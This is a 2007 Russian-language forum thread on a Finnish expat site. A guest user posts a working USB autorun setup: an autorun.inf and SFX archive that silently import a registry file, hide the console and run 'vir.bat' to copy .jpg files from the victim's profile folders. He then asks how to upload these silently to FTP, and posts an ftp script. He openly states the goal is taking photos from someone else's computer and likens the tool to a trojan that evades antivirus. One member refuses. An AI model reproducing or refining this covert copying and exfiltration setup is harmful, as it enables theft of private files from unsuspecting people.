Вернуться   Финляндия по-русски » Жизнь в Финляндии » Koмпьютeры, Teлeфoны, TV & Co
Логин
Пароль

Ответ
 
Опции темы Поиск в этой теме Оценить тему Опции просмотра
Old 06-08-2007, 13:16   #1
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Cоедение c фтп через bat/cmd фаил

Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею) на FTP. Возможнли это вообще?

Cмог сделать такую весь что бы зафигачивалось на флешку:

autorun.inf - запус foto_copy.exe

fotocopy.exe - SFX архив

Setup=REGEDIT /S file.reg - отключение показа скрытх папок
Setup=hidcon.exe vir.bat
TempMode
Silent=1
Overwrite=1


vir.bat:

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s, t,u,v,w,x,y,z) do if exist %%i:\jpg2\foto_copy.exe @set FLASH=%%i:

cd %Userprofile%\My Documents\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s

cd %Userprofile%\Documents\My Received Files\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s

cd %Userprofile%\Desktop\juliart\
xcopy *.jpg %FLASH%\jpg2\desk\*.jpg /y /s

exit

Последнее редактирование от maxsl : 06-08-2007 в 13:19.
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 13:27   #2
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею) на FTP. Возможнли это вообще?



Может и можно, но как-то сомнительно. Я бы использовал например python. Строчек в 10 кода уложиться наверное.
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 13:34   #3
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Будет ли вылезать от него окошки? Вообще вроде возможно (run / cmd / ftp - вылазить какой то фтп клиент)
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 13:43   #4
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Будет ли вылезать от него окошки? Вообще вроде возможно (run / cmd / ftp - вылазить какой то фтп клиент)


В виндах вылезает окно с командной строкой.
В линухе может и не вылезать если не надо.
Но оно и к лучшему, потому как надо смотреть, если ошибки или нет.
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 14:13   #5
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Не мог бы ты, адам, набросать тогда фтп-клиент на 10 строчек?
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 14:30   #6
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Не мог бы ты, адам, набросать тогда фтп-клиент на 10 строчек?


А зачем его писать?
Все уже написано до нас))

http://www.example-code.com/python/pythonftp.asp
в частности
http://www.example-code.com/python/ftp_upload.asp
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 14:32   #7
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 21:18   #8
Это я
Пользователь
 
Сообщений: 3,005
Проживание:
Регистрация: 07-07-2003
Status: Offline
Репутация: 10
Цитата:
Сообщение от maxsl
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею) на FTP. Возможнли это вообще?

Cмог сделать такую весь что бы зафигачивалось на флешку:

autorun.inf - запус foto_copy.exe

fotocopy.exe - SFX архив

Setup=REGEDIT /S file.reg - отключение показа скрытх папок
Setup=hidcon.exe vir.bat
TempMode
Silent=1
Overwrite=1


vir.bat:

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s, t,u,v,w,x,y,z) do if exist %%i:\jpg2\foto_copy.exe @set FLASH=%%i:

cd %Userprofile%\My Documents\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s

cd %Userprofile%\Documents\My Received Files\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s

cd %Userprofile%\Desktop\juliart\
xcopy *.jpg %FLASH%\jpg2\desk\*.jpg /y /s

exit


А может просто wget для Windows взять?
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 22:15   #9
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Блин, то что с флешкой вариант нормальный не не катит для меня

нашёл программу File Uploader - Version 1.10 http://noeld.com
но эта зараза не копирует сабдиректории.

Повторю вопросс - Нужна программа для копирования на FTP файлов из определённых папок включая сабдиректории, и всё это не поодному файлу. Варинты - "тихое" копирование и без запросов паролей и тп
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 22:21   #10
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Да кстати, при этом должна работать перемменая %UserProfile%
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 23:03   #11
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Да кстати, при этом должна работать перемменая %UserProfile%


Я же уже кидал ссылку на скрипт, который файл закидывает на FTP
Осталось только дописать немножко.
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 23:18   #12
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
И как его с компливировать (блин, не знаю как пишется правильно)
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 23:33   #13
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
И как его с компливировать (блин, не знаю как пишется правильно)


никак не надо
надо поставить python виндовый и запустить
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 23:34   #14
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Твой фтп аплоад будет работать как -

# Upload a file.
localFilename = "%userprofile%\desktop\*.jpg"
remoteFilename = "*.jpg"

Не знаеш ли??

к примеру xcopy %user....%.jpg не идёт, приходится выбыирать папку и тогда использовать комманду хкопи по текущей папке
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 23:46   #15
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Твой фтп аплоад будет работать как -

# Upload a file.
localFilename = "%userprofile%\desktop\*.jpg"
remoteFilename = "*.jpg"

Не знаеш ли??

к примеру xcopy %user....%.jpg не идёт, приходится выбыирать папку и тогда использовать комманду хкопи по текущей папке


не будет
надо примерно так:

for file from files:
localFilename = "%userprofile%\desktop\"+file
remoteFilename = file
.........

надо документацию читать и писать самому
про переменные виндов ничего не знаю, но думаю их легко считать можно
погугли
 
0
 
0
    Ответить с цитированием
Old 06-08-2007, 23:50   #16
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
%userprofile% перемменая Disk:\Documents And Settings\Текущий пользователь... иммена она и нужна. А как тогда присабьачить то что мне надо только определённый тип файлов?
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 00:00   #17
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
%userprofile% перемменая Disk:\Documents And Settings\Текущий пользователь... иммена она и нужна. А как тогда присабьачить то что мне надо только определённый тип файлов?


Почитал немного в нете про переменную эту. Вроде должно работать все.
Файлы по расширению можно фильтровать легко.
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 00:51   #18
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Блин, программист из меня совсем никакой..... Не мог бы ты переделать это фигню немного? вынеся 5 конфигов в отедльный фаил - путь исходника, тип, сервер, логин, пароль. Из за одной подребности наврено глупо начинать учить всё это... Хотя может и начну
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 10:41   #19
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Блин, программист из меня совсем никакой..... Не мог бы ты переделать это фигню немного? вынеся 5 конфигов в отедльный фаил - путь исходника, тип, сервер, логин, пароль. Из за одной подребности наврено глупо начинать учить всё это... Хотя может и начну


Что конкретно надо? Если это нужно один раз, то смысла нет, проще руками сделать.
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 12:56   #20
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
На один раз - я имел ввиду одна программка. Ипользоватся будет довольно часто под разные расширения файлов. Из аналогичных решений - троян, но в отличии от этого он будет ловится антвирусами
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 13:37   #21
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
На один раз - я имел ввиду одна программка. Ипользоватся будет довольно часто под разные расширения файлов. Из аналогичных решений - троян, но в отличии от этого он будет ловится антвирусами


Ничего не понял. Зачем троян? Можно нормально задачу поставить?
Для передачи файлов существуют два режима бинарный и текстовый. Скрипт должен знать что в каком передавать.
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 13:54   #22
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Картинки это какой режим?
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 13:55   #23
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Нужно с чужого компа взять фотки, проблему с выводом сообщения фаирвола я решил
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 14:29   #24
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Нужно с чужого компа взять фотки, проблему с выводом сообщения фаирвола я решил


гы)))
увольте
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 14:42   #25
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Гы? А что так? Или хотя бы объясни как получить результат в этом питоне, с дельфи более менее понятно было....
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 14:43   #26
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
И этож не троян - ты не влезаешь в комп, не тыришь пароли..... )
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 14:45   #27
Scobl
Администратор
 
Аватар для Scobl
 
Сообщений: 3,147
Проживание: Espoo
Регистрация: 04-03-2004
Status: Offline
Репутация: 10
Ужас...! Поставь себе CYGWIN (www.cygwin.com) и не парься с CMD, BAT и прочими наворотами от МикиSoft.
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 14:46   #28
Scobl
Администратор
 
Аватар для Scobl
 
Сообщений: 3,147
Проживание: Espoo
Регистрация: 04-03-2004
Status: Offline
Репутация: 10
В CYGWIN глянь "ncftpget", "wget".
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 14:47   #29
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Гы? А что так? Или хотя бы объясни как получить результат в этом питоне, с дельфи более менее понятно было....


На питоне такие вещи не делают
Делай в дельфи.
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 14:52   #30
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Я дельфи последний раз запускал больше 3 лет назад, и дальше 2-ух степечитого диалога не ушёл
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 15:01   #31
adam
undefined
 
Аватар для adam
 
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
Цитата:
Сообщение от maxsl
Я дельфи последний раз запускал больше 3 лет назад, и дальше 2-ух степечитого диалога не ушёл


А зачем диалоги-то? Простого консольного приложения достаточно.
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 15:01   #32
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
а cygwin запускать без установки можно? То есть сохранить комманды + его испольнемый фаил?
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 15:02   #33
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Дык, в том смысле что не умею я это делать
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 15:29   #34
maxsl
Гость
 
Сообщений: n/a
Проживание:
Регистрация:
Status:
Вот пример с коммандной строкой, всё классно только опят же проблемма с подкаталогами
bat:
ftp -s:script.txt

script.txt:

lcd \mylocalwebpages
open someftpserver.somedomain.org
myusername
mypassword
cd images
binary
mput *.jpg
mput *.png
bye
 
0
 
0
    Ответить с цитированием
Old 07-08-2007, 17:33   #35
detektiv5055
Registered User
 
Аватар для detektiv5055
 
Сообщений: 262
Проживание: Kerava
Регистрация: 28-07-2006
Status: Offline
Репутация: 0
Цитата:
Сообщение от adam
В виндах вылезает окно с командной строкой.
В линухе может и не вылезать если не надо.
Но оно и к лучшему, потому как надо смотреть, если ошибки или нет.

Ну ,мужики,вы даёте!
В этом полный ЛОХ!
Но подскажите:
в моём Меркурий100 пропала искра на всех (4) цилиндрах.
Мне комутатор менят; или что ?
 
0
 
0
    Ответить с цитированием
Ответ


Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра Оценка этой теме
Оценка этой теме:

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

vB коды Вкл.
[IMG] код Вкл.
HTML код Выкл.



» Объявления на Doska.fi

» Галерея Финляндии

» Реклама на Doska.fi

» Реклама на Russian.fi


Часовой пояс GMT +3, время: 19:30.

Russian.fi - Финляндия по-русски © Suomitech Oy, 2002-2026 При использовании материалов с сайта указание ссылки на russian.fi обязательно